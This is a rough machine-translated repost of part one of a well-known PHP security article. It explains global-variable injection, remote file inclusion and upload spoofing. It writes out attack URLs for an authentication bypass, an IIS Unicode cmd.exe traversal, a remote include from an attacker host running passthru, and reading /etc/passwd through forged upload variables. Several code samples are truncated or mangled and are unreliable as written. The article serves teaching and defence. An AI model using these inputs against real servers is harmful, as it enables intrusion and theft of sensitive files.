How to attack common vulnerabilities in PHP programs (on)
Translation: Analysist (analyst)
Source: http://www.china4lert.org
How to attack common vulnerabilities in PHP programs (on)
Original: Shaun Clowes
Translation: Analysist
This article is translated because the current article on CGI security is taking Perl as an example, and there are few articles devoted to asp,php or JSP security. Shaun Clowes This article is a more comprehensive introduction of PHP security issues, the original can be found in http://www.securereality.com.au/studyinscarlet.txt.
Because the original text is relatively long, and there is a considerable part of the background of the article or the basic knowledge of PHP, not related to PHP security content, so I did not translate. If you want to know this knowledge, please refer to the original text.
This article mainly analyzes the security of PHP from the aspects of global variables, remote files, file uploads, library files, session files, data types and error-prone functions, and makes some useful suggestions on how to enhance the security of PHP.
All right, nonsense, let's talk!
[Global variables]
Variables in PHP do not need to be declared beforehand, they are created automatically the first time they are used, and their types do not need to be specified, and they are determined automatically based on the context. From the programmer's point of view, this is undoubtedly a very convenient way of handling. Obviously, this is also a very useful feature of rapid language development. Once a variable has been created, it can be used anywhere in the program. The result of this feature is that programmers seldom initialize variables, after all, they are empty when they are created for the first time.
Obviously, the main function of the PHP-based application is generally to accept the user's input (mainly form variables, upload files and cookies, etc.), and then process the input data, and then return the results to the client browser. In order for the PHP code to access the user's input as easily as possible, in fact, PHP is the input data as a global variable to handle.
For example:
Obviously, this displays a text box and a Submit button. When the user clicks the Submit button, "test.php" processes the user's input, and when "test.php" runs, "$hello" contains the data that the user entered in the text box. From here we should see that attackers can create arbitrary global variables as they wish. If an attacker does not invoke "test.php" through form input, but instead enters Http://server/test.php?hello=hi&setup=no directly into the browser's address bar, then more than just "$hello" is created, "$setup "was also created.
The Translator notes: These two methods are the "POST" and "GET" methods we usually call.
The following user authentication code exposes the security issues caused by the global variables of PHP:
if ($pass = = "Hello")
$auth = 1;
...
if ($auth = = 1)
echo "Some important information";
?>
The above code first checks whether the user's password is "Hello", if it matches, set "$auth" to "1", that is, through authentication. Then if "$suth" is "1", some important information will be displayed.
The surface appears to be correct, and quite a few of us have done this, but this code makes the mistake of taking it for granted, assuming that "$auth" is empty when no value is set, but that an attacker could create any global variable and assign a value, through a similar "http://server/ Test.php?auth=1 "method, we can completely deceive this code to make it believe that we are already certified.
Therefore, in order to improve the security of PHP programs, we cannot trust any variables that are not explicitly defined. If there are a lot of variables in the program, this is a very difficult task.
A common protection method is to check the variables in the array http_get[] or post_vars[], which depends on how we submit (GET or POST). When PHP is configured to open the "track_vars" option (this is the default), the user-submitted variable can be obtained in the global variable and the array mentioned above.
But it's worth noting that PHP has four different array variables to handle the user's input. The Http_get_vars array is used to handle variables that are submitted by the GET mode, http_post_vars arrays are used to handle variables submitted by POST, http_cookie_vars arrays are used to handle variables submitted as COOKIE headers, and for HTTP_ The post_files array, which is provided by newer PHP, is an optional way for the user to commit the variable. A user's request can easily put variables in these four arrays, so a secure PHP program should check for these four arrays.
[Remote file]
PHP is a rich language that provides a number of functions that make it easy for programmers to implement a feature. But from a security point of view, the more features, the more difficult it is to ensure its security, remote files are a good example of this problem:
if (! ( $FD = fopen ("$filename", "R"))
Echo ("Could not open File: $filename
\ n ");
?>
The above script tries to open the file "$filename" and displays an error message if it fails. Obviously, if we can specify "$filename", we can use this script to browse any file in the system. However, there is a less obvious feature of this script, which is that it can read files from any other Web or FTP site. In fact, most of PHP's file-handling functions are transparent to remote files.
For example:
If you specify "$filename" as "Http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"
The above code actually takes advantage of the Unicode vulnerability on the host target and executes the dir command.
This allows the include (), require (), include_once (), and require_once () to support remote files to become more interesting in the context. The main function of these functions is to include the contents of the specified file, and to interpret them in PHP code, mainly used in the library file.
For example:
Include ($libdir. "/languages.php");
?>
In the above example, "$libdir" is usually a path that has been set before executing the code, and if the attacker can make the "$libdir" not set, then he can change the path. But attackers cannot do anything because they can only access file languages.php in the path they specify (the "Poison null byte" attack in Perl has no effect on PHP). But because of the support for remote files, attackers can do anything. For example, an attacker could place a file languages.php on a server that contains the following:
PassThru ("/bin/ls/etc");
?>
Then set the "$libdir" to "HTTP/ /"So that we can execute the above attack code on the target host, and the contents of the"/etc "directory are returned to the customer's browser as a result.
It should be noted that the attack server (that is, evilhost) should not execute PHP code, or the attack code will be on the attack server, not the target server execution, if you want to know the specific technical details, please refer to:/http Www.securereality.com.au/sradv00006.txt
[File Upload]
PHP automatically supports file uploads based on RFC 1867, and we look at the following example:
The above code allows the user to select a file from the local machine, and when the commit is clicked, the file is uploaded to the server. This is obviously a useful feature, but the way PHP responds makes this feature unsafe. When PHP first receives this request, even before it starts parsing the called PHP code, it accepts the remote user's file, checks whether the length of the file exceeds the value defined by the "$MAX _file_size variable", and, if passing these tests, The file will be present in a local temporary directory.
As a result, an attacker can send arbitrary files to a host running PHP, and the file is already on the server when the PHP program has not decided whether to accept the file upload.
I'm not going to discuss the possibility of using file uploads to Dos attacks on servers.
Let's consider the PHP program that handles file uploads, as we said above, the file is received and exists on the server (the location is specified in the configuration file, usually/tmp), and the extension is generally random, similar to the "Phpxxuoxg" form. The PHP program needs to upload the file information in order to handle it, which can be done in two ways, one in PHP 3, and the other after we introduced a security bulletin to the previous method.
However, we can say for sure that the problem still exists, and most PHP programs use the old way to handle uploading files. PHP sets four global variables to describe uploaded files, such as the example above:
$hello = Filename on local machine (e.g "/TMP/PHPXXUOXG")
$hello _size = size in bytes of file (e.g 1024)
$hello _name = The original name of the file on the remote system (e.g "C:\\temp\\hello.txt")
$hello _type = Mime type of uploaded file (e.g "Text/plain")
The PHP program then starts processing files specified according to the "$hello", the problem is that "$hello" is not necessarily a PHP set variable, any remote user can specify it. If we use the following method:
Http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name= Hello.txt
Causes the following PHP global variables (of course post can also (even a cookie)):
$hello = "/etc/passwd"
$hello _size = 10240
$hello _type = "Text/plain"
$hello _name = "Hello.txt"
The form data above satisfies the variables expected by the PHP program, but at this point the PHP program does not process the uploaded file, but instead handles the "/etc/passwd" (which usually causes the content to be exposed). This attack can be used to expose the contents of any sensitive file.
As I said earlier, the new version of PHP uses http_post_files[] to decide to upload the file, and it also provides a number of functions to solve the problem, such as having a function to determine whether a file is actually loaded. These functions are a good solution to this problem, but there are certainly many PHP programs that still use the old method and are vulnerable to this attack.
As a variant of the attack method for file uploads, let's take a look at the following piece of code:
if (file_exists ($theme))//Checks the file exists on the local system (no remote files)
Include ("$theme");
?>
If an attacker can control the "$theme", it is clear that it can use "$theme" to read any file on the remote system. The attacker's ultimate goal was to execute arbitrary instructions on the remote server, but he was unable to use the remote file, so he had to create a PHP file on the remote server. This may seem impossible at first glance, but the file upload helps us, if the attacker first creates a file with PHP code on the local machine, and then creates a form with a file field named "Theme", Finally with this form through the file upload to create the file containing PHP code to the above code, PHP will save the file submitted by the attacker, and the "$theme" value is set to the attacker submitted files, so the file_exists () function will check through, The attacker's code will also be executed.
Given the ability to execute arbitrary instructions, an attacker would obviously want to elevate the privileges or expand the outcome, which would require a set of tools not available on the server, and the file upload has helped us again. Attackers can use the file Upload feature to upload tools, place them on the server, and then use their ability to execute instructions, use chmod () to change the file's permissions, and then execute. For example, an attacker could bypass the firewall or IDs to upload a local root attack program and execute it, thus gaining root privileges.
<未完待续> (continued)
http://www.bkjia.com/phpjc/315244.html www.bkjia.com True http://www.bkjia.com/phpjc/315244.html techarticle How to attack common vulnerabilities in PHP programs (on) Translation: Analysist (analyst) Source: http://www.china4lert.org How to attack Common vulnerabilities in PHP programs (ON) ...
